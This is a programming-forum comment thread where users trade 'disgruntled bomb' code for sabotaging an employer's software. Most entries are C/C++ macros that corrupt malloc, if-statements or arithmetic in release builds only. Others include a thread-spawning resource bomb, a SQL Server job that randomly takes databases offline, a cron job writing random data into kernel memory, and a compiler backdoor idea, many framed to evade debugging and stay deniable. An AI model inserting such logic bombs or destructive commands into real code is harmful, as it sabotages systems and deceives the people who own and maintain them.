The Disgruntled Bomb

« Return to Article
  • Donald 2011-03-14 09:10
    frist = false;
  • Donald 2011-03-14 09:14
    Donald:
    frist = false;


    Or better yet

    frist = !true; //since only true was modified to be false
  • Anonymous 2011-03-14 09:14
    That's a nice BYOC, and on time too! OK, I'm in, give me a few minutes with this...
  • ochrist 2011-03-14 09:22
    Nice contest. Lots of possibilities. How about this:

    Perform some kind of date/time calculation that will result in a number used as index in an array. The array is normally not used for anything important, so will not affect functionality.

    Some time in the future (or at some random date) the index turns invalid (negative or overflow). Depending on language etc. you will then provoke an error state.

    (forgive me for not producing a code example - hopefully above should be enough)
  • Chelloveck 2011-03-14 09:24
    I always thought Bomb #20 was a pretty disgruntled bomb.
  • Dragnslcr 2011-03-14 09:27
    There's an easy one in old versions of Lisp.

    (set 5 3)
  • Nameless 2011-03-14 09:28
    #define 6 8

    This is more subtle than swapping true and false as the problems shouldn't be immediately obvious.
  • Wim 2011-03-14 09:33
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>
    #define malloc malloc_bomb

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }
  • Niels 2011-03-14 09:35
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif
  • Steve The Cynic 2011-03-14 09:37
    Nameless:
    #define 6 8

    This is more subtle than swapping true and false as the problems shouldn't be immediately obvious.

    Actually, they will be immediately obvious when you try to compile the program, since 6 isn't a legal identifier.

    On the other hand:
    #define double int
    has real potential...
  • operagost 2011-03-14 09:39
    Someone set up us the codez.
  • allen-poole.com 2011-03-14 09:39
    Wim:
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>
    #define malloc malloc_bomb

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }

    Dear lord man... that is pure evil.
  • Steve The Cynic 2011-03-14 09:39
    Wim:
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>
    #define malloc malloc_bomb

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }

    Affected code crashes with a stack overflow, as malloc_bomb calls itself...
  • Luke P 2011-03-14 09:41
    JavaScript is pretty easy, but...
    (I've added obfuscation to make it harder to track down)


    function true1() {
    this[("unde"+(!!0)).substring(0, 5)+"ined"] = true;
    }

    function true2() {
    this[("unde"+(!!0)).substring(0, 5)+"ined"] = void 0;
    }


    (function setupB() {
    var setTimeoutOld = setTimeout;
    setTimeout = function(func, a) {
    setTimeoutOld(func, a);
    setTimeoutOld(!!1+"1();", 60000*30);
    setTimeoutOld(!!1+"2();", 60000*32);
    setTimeout = setTimeoutOld;
    };
    })();
  • hoodaticus 2011-03-14 09:42
    public static class WindowMessages
    
    {
    [DllImport("user32.dll")] private static extern Int32 SendMessage(IntPtr HWnd, Int32 wMsg, bool wParam, Int32 lParam);
    public static Int32 SendMessage(IntPtr HWnd, Int32 wMsg, bool wParam, Int32 lParam)
    {
    return SendMessage(HWnd, wMsg - 1, wParam, lParam);
    }
    }


    Addendum (2011-03-14 09:48):
    Whoops! Meant to change the name of the public version to SendMsg.

    Addendum (2011-03-14 09:51):
    .NET is really hard to screw with like this. And C/C++ is too easy.
  • no name 2011-03-14 09:42
    ochrist:
    Nice contest. Lots of possibilities. How about this:

    Perform some kind of date/time calculation that will result in a number used as index in an array. The array is normally not used for anything important, so will not affect functionality.

    Some time in the future (or at some random date) the index turns invalid (negative or overflow). Depending on language etc. you will then provoke an error state.

    (forgive me for not producing a code example - hopefully above should be enough)


    Interesting you should mention this - a disgruntled employee where I work did something very similar.

    He had been responsible for a critical component of our financial reporting infrastructure, which started inexplicably failing very occasionally a few months after he left. I was asked to investigate, and immediately realised the only option was to re-write the component from scratch in C# (because he'd written it in a language we don't normally support and the latest version of the source code had been "lost" in a "hard drive crash" before he left).

    After I'd done that, I decided to do some detective work. It took me an entire weekend using a debugger and a disassembler to work out what he'd been up to, but in the end I worked out that there was a 5% chance that it would subtly screw up its own configuration (read from the db but held in an array) every time it was run.
  • Niels 2011-03-14 09:43
    Another one for C++:

    void operator delete(void *ptr) throw() { (void)ptr; }
    
    void operator delete[](void *ptr) throw() { (void)ptr; }


    Where did all your memory go?
  • Rosuav 2011-03-14 09:44
    C++ example:

    #ifndef _DEBUG
    struct imt
    {
    int intval;
    imt(int i):intval(i) {}
    operator int() {return intval;}
    int operator /(imt other) {return (intval>>1)/(other.intval>>1);}
    };
    #define int imt
    #endif


    This will create a completely invisible replacement for the standard integer, but such that all division is done with the low bit stripped. It'll work fine most of the time, but just occasionally it'll give slightly inaccurate results. And like the NULL example in the original post, it's something that you would trust perfectly ("that's just integer division, how can that be faulty?!?"); the debugger would tell you that it's "struct imt" instead of "int", but in the debugger, this won't be doing stuff anyway...

    For extreme Heisenbugginess, put this only in some places and not in others. You copy and paste a block of code from one module to another, and it gains some division inaccuracy.

    VERY occasionally this might even crash - if you try to divide an imt by 1, it'll become division by 0. Just to annoy the people who thought they were safe against div by 0!
  • John 2011-03-14 09:49
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif


    This one's definitely my favourite so far (assuming it would work), because checking they're not debugging is evil, and changing one in every 10,000 ifs is inspired.
  • Zincoontrin 2011-03-14 09:53
    #define private public
  • Pyroka 2011-03-14 09:55
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.


    How about:

    #ifndef _DEBUG
    
    #define if(x) if(rand()<0.0001 && (x))
    #endif


    Doesn't rand() return an int between 0 and RAND_MAX so isn't that just if(rand() == 0 && (x))? (Since the only way the integer rand() can be less than 0.0001 is if it's 0?)
  • hoodaticus 2011-03-14 09:56
    public class Class1
    
    {
    public static bool operator ==(Class1 a, Class1 b)
    {
    return !(a != b);
    }

    public static bool operator !=(Class1 a, Class1 b)
    {
    return !(a == b);
    }
    }
  • Rosuav 2011-03-14 09:59
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(
  • Wim 2011-03-14 09:59
    Good point Steve,

    Easily solved by swapping the two definitions.

    Wim
  • Neil 2011-03-14 10:01
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.
    Note that you can only use 0 as a varadic null pointer argument in 32-bit code. 0LL works in 64-bit code, but not in 32-bit code. 0L works everywhere except Win64.
  • Niraj 2011-03-14 10:01
    I will let out a wicked secret. In college, I used to have some favorite terminals, for no wicked reason. Many times those terminals used to be occupied. So I used to run a wicked program after logging onto them from a remote machine to harass the person occupying it.

    one of my program did a malloc in an infinite loop. and then i ran this program in another infinite loop ... needless to say it pretty much rendered the machine unusable ... and after the person left that machine to occupy another one, i would quietly kill that program and grab my favorite terminal.

    oh yes i also said hi to that victim with a sly smile.
  • Sobriquet 2011-03-14 10:07
    (set 5 3)


    Even easier:
    #define NULL 1


    Other libraries will still assume NULL should be 0, so there will be all kinds of bizarre bugs.

    But seriously, you want plausible deniability. And you want all these problems to come up *after* the system is deployed. And you want real heisenbugs.

    A segfault or a hang is too easy to find. Even if you bury it in a header, someone is eventually going to start scanning through the preprocessed code and find it.

    What's really painful is mysterious network failures. Keep in mind that most development will take place on a high speed ethernet network, but on a home network you have high latency, fragmented packets.

    There are a ton of parameters you can screw with that won't cause any obvious failures. You could set the timeout to be really short, so the product will mysteriously fail on many

    Another possibility would be to redefine PF_INET6 = PF_INET, to make the eventual upgrade even more fun.

    The hardest stuff to debug is anything related to crypto. Sift through the headers for OpenSSL... you could set AES to equal Blowfish. Now the app will work fine internally, but if it's sharing data with any other app, it will fail mysteriously.

    Installers are a great place to wreak havoc. In particular, if there are any local settings being changed, make them global so you're sure to stomp all over things. You can also mess with permissions so the install won't work properly for non-admins, e.g. change the permissions for a DLL so a user can't read it. Result: mysterious link failures.
  • lolwtf 2011-03-14 10:08
    #define strncpy(s, d, n) strcpy(s, d)
    So much for preventing buffer overflow. Or perhaps some variants:
    #define strncpy(s, d, n) strncpy(s, d, (n)+8)
    #define memcpy strncpy
    For best results, place these in different files, so that behaviour is different in different parts of the program.

    For PHP, you could probably do a fair bit of damage by simply sneaking a set_time_limit(0) into a script that can be coaxed into an infinite loop by some innocuous-looking request from outside.
  • hoodaticus 2011-03-14 10:09
    public class Class1
    
    public Class1()
    {
    Spawn();
    }

    public void Spawn()
    {
    while(true) { Thread thread = new Thread(Spawn); thread.Start() }
    }
    }


    Addendum (2011-03-14 10:42):
    Improved ctor:


    public Class1()

    {

    Thread thread = new Thread(Spawn); thread.Start();

    }


    Addendum (2011-03-14 10:44):
    This way, the constructor returns immediately, and then the app or machine crashes some time later. After many, many, many context switches.
  • ÃÆâ€ââ 2011-03-14 10:11
    Niraj:
    I will let out a wicked secret. In college, I used to have some favorite terminals, for no wicked reason. Many times those terminals used to be occupied. So I used to run a wicked program after logging onto them from a remote machine to harass the person occupying it.

    one of my program did a malloc in an infinite loop. and then i ran this program in another infinite loop ... needless to say it pretty much rendered the machine unusable ... and after the person left that machine to occupy another one, i would quietly kill that program and grab my favorite terminal.

    oh yes i also said hi to that victim with a sly smile.


    that's wicked
  • Sobriquet 2011-03-14 10:11
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors...


    First, that's an incredibly evil thing in itself: people will use private members and then others will assume they can change the private members leading to all kinds of problems. And they'll be ripping their hair out: Why did the damned compiler let this guy access a private member?!

    It will also make the library mysteriously fail to interoperate with other versions that were compiled without the redefinition. In a big app, this would be a nightmare.
  • Sten 2011-03-14 10:13
    #define malloc __builtin_malloc
    

    /* Static to avoid detection in linker
    * Name that does not look suspicious */
    static void* __builtin_malloc(size_t size)
    {
    static short counter = 5352; // Random start
    if (counter == 0) {
    /* Some randomness to make fun */
    struct timeval tv;
    struct timezone tz;
    gettimeofday(&tv, &tz);
    counter = tv.tv_usec ^ tv.tv_sec;
    }
    /* After some random number of allocations */
    if (--counter == 1) {
    /* For complex structures, allocate less than necessary
    * for primitive types, allocate what is expected */
    return malloc(size <= sizeof(void*)
    ? size
    : size - sizeof(void*));
    }
    /* No fun here */
    return malloc(size);
    }


    Note that this code won't show anything suspicious even when running the program in strace, since it calls gettimeofday only from time to time. Better version can be achieved after rewriting to assembly, since not even gdb would show anything helpful.
  • revenant 2011-03-14 10:13
    #ifndef _DEBUG
    
    #define if(x) if((rand()==1 && SleepEx(10,FALSE)) || (x))
    #endif
  • fritters 2011-03-14 10:14
    Isn't there an "evil code" contest for this sort of thing?
  • hoodaticus 2011-03-14 10:14
    Okay, I'd like to see another pointer cast WTF.
  • georg 2011-03-14 10:15
    haskell (ghci here) let's you happily override the == operator:

    Prelude> 1 == 2
    False
    Prelude> let a == b = True
    Prelude> 1 == 2
    True
  • Sten 2011-03-14 10:19
    Sobriquet:
    It will also make the library mysteriously fail to interoperate with other versions that were compiled without the redefinition. In a big app, this would be a nightmare.


    That’s not true.
    #define private public
    does not change ABI in any way since the classes do not change memory layout. I use it from time to time since some library developers are morons that define everything private and have never experienced any problem with that.
  • frits 2011-03-14 10:23
    Steve The Cynic:
    Wim:
    The use of rand() does not give non-deterministive behavior. The example will always crash at the same point in the program (assuming the rest is deterministic)

    My idea would be (for C):

    #include <stdlib.h>
    #define malloc malloc_bomb

    static inline void *
    malloc_bomb(size_t size)
    {
    if (size>8) size-=8;
    return malloc(size);
    }

    .
    Affected code crashes with a stack overflow, as malloc_bomb calls itself...


    Along the same lines of the OP, without the stack overflow:

    #include <cstdlib>
    using namespace std;
    void* operator new[] (std::size_t size)
    {
    if(size>1)
    {
    size-=1;
    }
    return malloc(size);
    }



    Just stick it in some widely used header file.
  • Eike Maximilian Schulte 2011-03-14 10:23
    Yes, but it will be nearly impossible to introduce this misbehavior to other code, because the importing module has to hide the original (==), otherwise the compiler will complain about it. Of course, you can hide override it locally (as the ghci version above does) but what fun would that be?
  • C-Octothorpe 2011-03-14 10:23
    hoodaticus:
    public class Class1
    
    {
    public static bool operator ==(Class1 a, Class1 b)
    {
    return !(a != b);
    }

    public static bool operator !=(Class1 a, Class1 b)
    {
    return !(a == b);
    }
    }


    This needs to exist in a base class of some sorts (BusinessObjectBase).

    Or do something very evil what some of the developers I know do accidentally... They create their own Convert class (Util.Convert vs. System.Convert), which swallows all exceptions, and returns non-default values, etc. This creates wierd bugs because you would WANT and exception to be thrown if the data is bad, not return a f*cking empty string...
  • Sten 2011-03-14 10:26
    I made a bug in my “bad code” post. The #define needs to go to bottom otherwise the program will crash in an infinite loop.
  • revenant 2011-03-14 10:28
    void LeaveCriticalSectionEvil(LPCRITICAL_SECTION lpCriticalSection)
    
    {
    if (rand()%100)
    LeaveCriticalSection(lpCriticalSection);
    }

    #define LeaveCriticalSection(x) LeaveCriticalSectionEvil(x)

  • sheep hurr durr 2011-03-14 10:33
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    #define class struct

    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)
  • hoodaticus 2011-03-14 10:34
    sheep hurr durr:
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    #define class struct

    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)
    You could do internal tests within the class.
  • C-Octothorpe 2011-03-14 10:36
    sheep hurr durr:
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    #define class struct

    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)


    I've been doing this software development thing for years now, and I still giggle a little when I read "private members"... Is that just me?
  • Sten 2011-03-14 10:37
    hoodaticus:
    Inherit?

    Does not work. Private members are accessible only by the class itself.
  • hoodaticus 2011-03-14 10:37
    C-Octothorpe:
    sheep hurr durr:
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    #define class struct

    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)


    I've been doing this software development thing for years now, and I still giggle a little when I read "private members"... Is that just me?
    Me too. Looks like I have another twin on here.

    "You said private... huh huh huh huh".
  • DysgraphicProgrammer 2011-03-14 10:37
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    So add this:

    #define struct class
  • hoodaticus 2011-03-14 10:38
    Sten:
    hoodaticus:
    Inherit?

    Does not work. Private members are accessible only by the class itself.
    Edited to correct it. I usually do everything "protected" anyway.
  • Cipri 2011-03-14 10:39
    I'd have to go with making a cronjob running


    dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM


    Replace a random bit of kernel memory with a random value.
  • lax 2011-03-14 10:39
    C#:
    static SomeCtor()
    
    {
    typeof(string).GetField("Empty").SetValue(null, " ");
    }
    //Sets string.Empty to a space character


    __
    Note from Alex: I just tested, and this actually works!
  • Franky 2011-03-14 10:39
    going back to the "#define double int":
    If it is a software that does some numeric hocus pocus it would be even more evil to "#define double float" as it more subtly changes the calculations/results but will still destroy your precision.
  • c2Ft 2011-03-14 10:39
    C-Octothorpe:

    I've been doing this software development thing for years now, and I still giggle a little when I read "private members"... Is that just me?


    No.
  • frits 2011-03-14 10:41
    Sten:
    hoodaticus:
    Inherit?

    Does not work. Private members are accessible only by the class itself.


    Friends can access their private members.
  • GettinSadda 2011-03-14 10:42
    I actually added a bomb in some code I sent to a previous employer (in a different country), but I told them I had inserted the bomb, and would forward the source, without bomb, once payment cleared. This could be re-purposed.

    My original code (actually in assembler, but this is in C):
    int Delay = 0;
    
    void VitalFunctionInCode()
    {
    if(Delay < INT_MAX) Delay++;
    int i;
    for(int i=0; i<Delay; i++) { SmallDelay(); }

    /* Original Code */
    }

    The result of this code was that over a period of 15-30 minutes, the code got slower and slower, eventually being unusable. It allowed the customer to verify the original bug was fixed, but not to actually ship it until they got the final version I sent after I was paid.

    This could easily be updated and inserted in a release-mode only way, and with a slower acting effect.
  • trwtf 2011-03-14 10:42
    C-Octothorpe:
    sheep hurr durr:
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    #define class struct

    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)


    I've been doing this software development thing for years now, and I still giggle a little when I read "private members"... Is that just me?

    Yep, that's pretty standard for most school kids.

    hoodaticus:
    Me too. Looks like I have another twin on here.

    "You said private... huh huh huh huh".

    See what I mean?
  • MrOli 2011-03-14 10:45
    Really?

    How much code do you write which is completely deterministic? - ie, has no interaction with anything else and therefore follows an identical code path from start to finish, triggering this bomb on the same line every time?
  • bob42 2011-03-14 10:45
    although i would never put this in production, this would be something great to leave on a dev sql server as a "Ha ha! i got the last laugh!". The way to use this would be to create a sql server agent job and put the code in the job, and have the job execute something like once a day, week, month, etc.

    Essentially what the code does is it randomly selects a non-system database, and generates a random number for the database and a random number to compare two. if both numbers match it sets the database to offline. so, the result of this is that every so often, at a non-specific interval, a random database will go offline.




    declare @databases table (name varchar(128), Sm int)
    declare @database table (name varchar(128), Sm int)
    declare @number int,
    @name varchar(128), @sql varchar(max)

    insert into @databases (name, Sm)
    select
    name,
    abs(checksum(newid()))% (select count(*) from sys.databases where database_id>4 and state=0)
    from sys.databases
    where database_id>4 and state=0

    select @number=abs(checksum(newid()))% (select count(*) from sys.databases)

    insert into @database (name, Sm)
    select top 1
    name, sm
    from @databases
    order by sm

    if exists (select top 1 name from @database)
    begin

    select @name=name from @database where sm=@number

    set @sql='alter database [' + @name + '] set offline with rollback after 30 seconds'

    exec(@sql)

    end
  • C-Octothorpe 2011-03-14 10:50
    trwtf:
    C-Octothorpe:
    sheep hurr durr:
    Rosuav:
    Turning all privates public doesn't actually do much. It just prevents compiler errors... and as languages like Python and Pike have proved, it's perfectly possible to eliminate the entire concept of private members. Also, the #define won't change the compiler default; if you declare a class, members are private until you put a label. By convention at my workplace, all classes have private data, then private member functions, then the "public:" label, then constructors, then interface. Your #define would sadly have no effect :(


    #define class struct

    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)


    I've been doing this software development thing for years now, and I still giggle a little when I read "private members"... Is that just me?

    Yep, that's pretty standard for most school kids.

    hoodaticus:
    Me too. Looks like I have another twin on here.

    "You said private... huh huh huh huh".

    See what I mean?


    I think TRWTF is trwtf... You're on a forum with 99.99% men (and I use that term VERY loosley), about technology, on a site called The Daily What The F*ck. Sorry, but what do you expect? If you want mature talk, maybe you should go back to 4chan or reddit... :)
  • Husted 2011-03-14 10:51
    Hmm... how about this:

    #define struct union

  • revenant 2011-03-14 10:52
    Are you sure you want to delete file?

    int WINAPI MessageBoxEvil(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
    
    {
    int result=MessageBox(hWnd,lpText,lpCaption,uType);
    if (rand()%100)
    {
    if(result==IDYES)
    result=IDNO;
    elseif(result==IDNO)
    result=IDYES;
    }
    return(result);
    }

    #define MessageBox MessageBoxEvil
  • Wim 2011-03-14 10:52
    MrOli,

    Well the definition of Deterministic that I use says that, given the same input, the program always behaves exactly the same. So my answer would be, most.
  • Nick 2011-03-14 11:00
    Change the Gnu compiler such that a call to a subroutine called "checkpassword", returns true if the user is "xyyzz".

    Pick the subroutine from your knowledge of internal code.

    Now recompile the compiler. Release it. Restore the compiler code to the real source code.

    Unless someone checks the checksum of the compiler executable you have a back door into the system.
  • Heh 2011-03-14 11:03

    typedef void *(*malloc_hook_t)(size_t, const void *)

    #ifndef _DEBUG
    malloc_hook_t old_malloc_hook = __malloc_hook;
    __malloc_hook = _new_malloc;
    #endif

    void *
    _new_malloc(size_t size, const void *return_addr) {
    srand(time(NULL));
    if (rand() % 0)
    usleep(size * 100);
    __malloc_hook = old_malloc_hook;
    void *m = malloc(size);
    __malloc_hook = _new_malloc;
    return m;
    }

    #ifndef _DEBUG
    #ifdef __cplusplus
    void *
    operator new(size_t size) {
    return _new_malloc(size, __builtin_return_address(0));
    }
    #endif
    #endif
  • hoodaticus 2011-03-14 11:04
    Okay, this is a C++ idea.
    1. Override assignment.
    2. Assignment launches a background thread that...
    3. Sleeps and then re-assigns the pre-assignment value. Presumably, that would be the default value.
  • DemonWasp 2011-03-14 11:07
    #define const
    #define volatile
    #define public
    #define protected
    #define private
    #define class struct

    Assuming that works (way too lazy to check), it's a recipe for subtle bugs everywhere. Double points if you can modify the makefiles to look like they're using -Wall -Werror without actually using them.
  • Jon 2011-03-14 11:15
    My code is nothing but inadvertent bombs due to lack of skill.
    Disgruntlement is not a precondition.
  • haha-only-serious 2011-03-14 11:16
    I once contemplated adding this line of code into the big ball of PHP-mud that is the in-house CMS of my former employer:

    if (mt_rand(0,10000) > 9000) {
    header('HTTP/1.0 503 Service Temporarily Unavailable', 503);
    exit;
    }
  • OperatorBastardusInfernalis 2011-03-14 11:16
    In QuakeC:


    void(void) worldspawn = {
    // the stuff that was there before
    // ...
    // THE BOMB:
    float x = 0;
    // ...
    x = 42;
    };


    Reason is that in QuakeC, "type x = ..." declares a constant, not a variable. Old compilers don't even warn on that. Assigning the value 42 to it will overwrite the 0 constant - and as all compilers do constant merging to use the same memory location for all constants of the same value, this suddenly changes the value of 42 (even literal 42)!

    Luckily, no enterprise apps are written in QuakeC.

    Other ideas for hard to find, and easily deniable, "disgruntled bombs":

    an outdated hostname entry in /etc/hosts

    writing to pointer function arguments (NOTE: test that the bomb doesn't cause obvious breakage)

    typedef float vec3_t[3];
    ...
    void DoSomethingAt(vec3_t someposition) {
    VectorNormalize(someposition); // #4381: vector must be normalized for this to work
    ... do something with someposition ...
    }


    Unfortunately too easy to trace: forgetting to close a file descriptor

    And my favorite: find existing code of the sort


    SomeType foo[1000];
    ...
    memcpy(foo, someinput, 1000 * sizeof(*foo));
    ...
    for(i = 0; i <= 999; ++i) dosomethingwith(foo[i]);


    Then, decide to turn the number into a macro. "forget" one of the occurrences! Works best if, like in this case, the original code also used n-1 as magic number, as that gives a well deniable reason to miss it when macroifying.


    #define MAX_FOOS 1000
    SomeType foo[MAX_FOOS];
    ...
    memcpy(foo, someinput, MAX_FOOS * sizeof(*foo));
    ...
    for(i = 0; i <= 999; ++i) dosomethingwith(foo[i]);


    Then, wait for some time, then change MAX_FOOS and disappear.


    The worst part is: I have seen all this "bombs" in code already.
  • Bobbo 2011-03-14 11:17
    Surely a bomb which was disgruntled wouldn't explode at all?
  • Steve The Cynic 2011-03-14 11:21
    Sten:
    Note that this code won't show anything suspicious even when running the program in strace, since it calls gettimeofday only from time to time. Better version can be achieved after rewriting to assembly, since not even gdb would show anything helpful.


    It is guilty of infinite recursion, because the malloc() calls in __builtin_malloc() get replaced with calls to __builtin_malloc()...
  • Sten 2011-03-14 11:24
    Yes, I noted that in a reply to that post and suggested the #define should be placed at the bottom.
  • Steve The Cynic 2011-03-14 11:26
    Sten:
    Sobriquet:
    It will also make the library mysteriously fail to interoperate with other versions that were compiled without the redefinition. In a big app, this would be a nightmare.


    That’s not true.
    #define private public
    does not change ABI in any way since the classes do not change memory layout. I use it from time to time since some library developers are morons that define everything private and have never experienced any problem with that.

    Don't ever write code that runs on a DeathStation 9000, then. If two definitions of a class do not (after the preprocessor has had its malignant way with the code) have **exactly** the same sequence of tokens, the results are "undefined behaviour". Added to which, on some compilers, name mangling includes information about the private/public status of functions, which will result in whimsical link failures.
  • trwtf 2011-03-14 11:26
    C-Octothorpe:
    You're on a forum with 99.99% men

    Ironic you should say that because my point was that you reek of a recent school leaver. Your apparent maturity level ("private members", har har) only supports this hypothesis. Yet your comeback is "you're on a forum with 99.99% men"? I think not. I'm on a forum with about 25% men, 5% women and 70% school kids / interns / college leavers. What was your point again?
  • anon 2011-03-14 11:27
    bob42:
    although i would never put this in production, this would be something great to leave on a dev sql server as a "Ha ha! i got the last laugh!". The way to use this would be to create a sql server agent job and put the code in the job, and have the job execute something like once a day, week, month, etc.

    Essentially what the code does is it randomly selects a non-system database, and generates a random number for the database and a random number to compare two. if both numbers match it sets the database to offline. so, the result of this is that every so often, at a non-specific interval, a random database will go offline.




    declare @databases table (name varchar(128), Sm int)
    declare @database table (name varchar(128), Sm int)
    declare @number int,
    @name varchar(128), @sql varchar(max)

    insert into @databases (name, Sm)
    select
    name,
    abs(checksum(newid()))% (select count(*) from sys.databases where database_id>4 and state=0)
    from sys.databases
    where database_id>4 and state=0

    select @number=abs(checksum(newid()))% (select count(*) from sys.databases)

    insert into @database (name, Sm)
    select top 1
    name, sm
    from @databases
    order by sm

    if exists (select top 1 name from @database)
    begin

    select @name=name from @database where sm=@number

    set @sql='alter database [' + @name + '] set offline with rollback after 30 seconds'

    exec(@sql)

    end


    Yea, that's just brilliant. OK, a DB went offline at exactly 10:15:32 last night, where should I look to see what happened? Maybe the database logs. Oh, a random maintenance plan I've never heard of was scheduled for that exact time. Well, that has to be a coincidence, so I guess I will not look and see very clearly what that plan does, and thus this "bomb" will definitely go off many times for maximum lulz.
  • Childish 2011-03-14 11:29
    Neil:
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.
    Note that you can only use 0 as a varadic null pointer argument in 32-bit code. 0LL works in 64-bit code, but not in 32-bit code. 0L works everywhere except Win64.


    Congradulations! You just invented another bomb on pointer size.

    #define NULL ((char) 0)
  • hoodaticus 2011-03-14 11:30
    trwtf:
    C-Octothorpe:
    You're on a forum with 99.99% men

    Ironic you should say that because my point was that you reek of a recent school leaver. Your apparent maturity level ("private members", har har) only supports this hypothesis. Yet your comeback is "you're on a forum with 99.99% men"? I think not. I'm on a forum with about 25% men, 5% women and 70% school kids / interns / college leavers. What was your point again? You need to grow up and stop using mommy and daddy's modem.
    Yours,
    Bert Glanstron
    FTFY
  • Gary 2011-03-14 11:31
    Nick:
    Change the Gnu compiler such that a call to a subroutine called "checkpassword", returns true if the user is "xyyzz".


    returns Y2 if the user is "xyzzy", otherwise returns plugh

    FTFY
  • adiener 2011-03-14 11:32
    sheep hurr durr:
    (Although, I'm curious; how do you unit test your private member functions if there's no way to get at them from outside the class?)


    Unit tests are for verifying that your code behaves as advertised in its public API. Private instance variables are implementation details, which makes them irrelevant to unit tests as long as the functionality you're testing does what it's supposed to do.
  • db2 2011-03-14 11:34
    Here's a good one to fuck with your web/CSS devs. Throw it in any .css file.

    body * { display: inline !important; }

    For scoring purposes, every time they reinstall their web browser counts as one point.

    If you'd rather be more subtle, try this one:

     br { float: left; }
  • vitameatahegemon 2011-03-14 11:36
    I do not think the preprocessor works the way you think it does.
  • vitameatahegemon 2011-03-14 11:38
    Sten:
    Yes, I noted that in a reply to that post and suggested the #define should be placed at the bottom.
    Apparently posting does not work the way I think it does. Oops. Anyway, the preprocessor comment was intended to be in reply to what's quoted here.
  • Sten 2011-03-14 11:41
    vitameatahegemon:
    I do not think the preprocessor works the way you think it does.


    It does, defines work from the point they are defined onwards and do not affect anything prior that point. Just checked it.
  • Martijn Lievaart 2011-03-14 11:48
    Neil:
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.
    Note that you can only use 0 as a varadic null pointer argument in 32-bit code. 0LL works in 64-bit code, but not in 32-bit code. 0L works everywhere except Win64.


    Either that, or you could use a standards complient compiler instead. (Hint, the standard requires that the number '0' translates to a valid null pointer).
  • anon 2011-03-14 11:53
    Sten:
    vitameatahegemon:
    I do not think the preprocessor works the way you think it does.


    It does, defines work from the point they are defined onwards and do not affect anything prior that point. Just checked it.


    *confused puppy head tilt*

    Then... mine must be defective.
  • drusi 2011-03-14 11:53
    Sobriquet:
    You can also mess with permissions so the install won't work properly for non-admins,

    Shouldn't the "bomb" be something that isn't how companies are already designing their software anyway?
  • kastein 2011-03-14 11:56
    Cipri:
    I'd have to go with making a cronjob running


    dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM


    Replace a random bit of kernel memory with a random value.
    somehow I think I have seen this somewhere before...

    GettinSadda:
